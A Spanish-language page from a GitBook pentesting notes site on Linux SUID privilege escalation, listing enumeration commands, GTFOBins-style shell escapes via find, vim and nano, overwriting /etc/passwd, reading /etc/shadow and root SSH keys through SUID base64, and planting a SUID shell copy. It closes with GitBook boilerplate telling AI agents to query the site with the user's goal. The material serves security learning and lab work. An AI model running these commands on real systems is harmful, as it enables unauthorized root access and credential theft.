> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/suid.md).

# SUID

Notas de escalada de privilegios SUID en Linux para binarios vulnerables, flujos de trabajo de GTFOBins, PwnKit, Nmap, PHP, screen y binarios SUID personalizados.

Los binarios SUID se ejecutan con los privilegios de su propietario, a menudo root. Un binario SUID vulnerable, obsoleto o demasiado flexible puede leer archivos protegidos, abrir una shell privilegiada o ejecutar código controlado por el atacante.

## Metodología

* Enumera los binarios SUID y compara las entradas inusuales con GTFOBins.
* Da prioridad a los binarios personalizados, versiones antiguas, dependencias con permisos de escritura y binarios ubicados fuera de las rutas estándar del sistema.
* Prueba primitivas de lectura, escritura, ejecución de comandos y carga de bibliotecas antes de ejecutar cargas útiles destructivas.

## Comprobaciones rápidas

```bash
find / -perm -4000 -type f 2>/dev/null
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
```

## Triage de SUID y SGID

SUID ejecuta el binario con los privilegios del propietario del archivo, mientras que SGID lo ejecuta con los privilegios del grupo del archivo. Después de la enumeración, compara los binarios inusuales con [GTFOBins](https://gtfobins.github.io/) y da prioridad a las rutas personalizadas, directorios con permisos de escritura y binarios pertenecientes a root.

Pruebas rápidas útiles:

```bash
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null
```

Ejemplos comunes al estilo de GTFOBins:

```bash
find . -exec /bin/sh -p \; -quit
```

Para `nano`, usa `Ctrl+R`, luego `Ctrl+X`, luego ejecuta:

```
reset; sh 1>&0 2>&0
```

Para `vim`:

```bash
vim -c ':shell'
vim -c ':!/bin/sh'
```

Si un flujo de trabajo de copia SUID/privilegiado puede sobrescribir archivos sensibles, valida cuidadosamente la primitiva de escritura antes de tocar archivos de producción:

```bash
cp /tmp/malicious_passwd /etc/passwd
```

Si `base64` es SUID, úsalo como primitiva de lectura en lugar de primitiva de shell:

```bash
ls -la /usr/bin/base64
/usr/bin/base64 /etc/shadow | base64 --decode
/usr/bin/base64 /root/.ssh/id_rsa | base64 --decode
/usr/bin/base64 /var/log/auth.log | base64 --decode
```

Si `cp` es SUID, valida si puede crear o preservar una copia privilegiada:

```bash
cp /bin/sh /tmp/sh
chmod +s /tmp/sh
/tmp/sh -p
```

Binarios SUID/SGID comunes que vale la pena revisar:

| Binario                                               | Por qué revisarlo                                                        |
| ----------------------------------------------------- | ------------------------------------------------------------------------ |
| `sudo` / `su`                                         | Herramientas directas de límites de privilegios.                         |
| `passwd`, `chsh`, `newgrp`, `gpasswd`                 | Utilidades de modificación de cuentas y grupos.                          |
| `en`                                                  | Ejecución programada de comandos.                                        |
| `mount`, `umount`                                     | Acceso al sistema de archivos y opciones de montaje.                     |
| `pkexec`                                              | Utilidad auxiliar de Polkit, afectada históricamente por PwnKit.         |
| `base64`                                              | Lee archivos protegidos y decodifica localmente.                         |
| `cp`                                                  | Copia o sobrescribe archivos cuando los permisos lo permiten.            |
| `find`, `nano`, `vim`, `less`, `more`, `bash`, `dash` | Primitivas de shell, lectura o escritura de archivos al estilo GTFOBins. |
| `nmap`                                                | Modo interactivo heredado o rutas de ejecución de scripts.               |

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID pkexec / PwnKit</h4></td><td>Notas de SUID (Pkexec) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/es/privesc/suid/suid-pkexec-linux-privilege-escalation.md">SUID (Pkexec) - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Base64</h4></td><td>Notas de SUID (Base64) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/es/privesc/suid/suid-base64-linux-privilege-escalation.md">SUID (Base64) - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID PHP</h4></td><td>Notas de SUID (PHP) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/es/privesc/suid/suid-php-linux-privilege-escalation.md">SUID (PHP) - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>Volcado de memoria SUID /opt/count</h4></td><td>Notas de SUID - Volcado de memoria (/opt/count) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/es/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md">SUID Volcado de memoria /opt/count - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>Archivo faltante SUID</h4></td><td>Notas de binario SUID (archivo faltante) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/es/privesc/suid/suid-missing-file-linux-privilege-escalation.md">SUID Archivo faltante - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID screen</h4></td><td>Notas de SUID (screen) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/es/privesc/suid/suid-screen-linux-privilege-escalation.md">SUID screen - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Nmap</h4></td><td>Notas de SUID (Nmap) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/es/privesc/suid/suid-nmap-linux-privilege-escalation.md">SUID (Nmap) - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>Binario de copia de seguridad SUID</h4></td><td>Notas de binario SUID (copia de seguridad) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/es/privesc/suid/suid-backup-binary-linux-privilege-escalation.md">Binario SUID (copia de seguridad) - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Enlightenment</h4></td><td>Notas de SUID (Enlightenment) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/es/privesc/suid/suid-enlightenment-linux-privilege-escalation.md">SUID (Enlightenment) – Escalada de privilegios en Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/privesc/suid.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
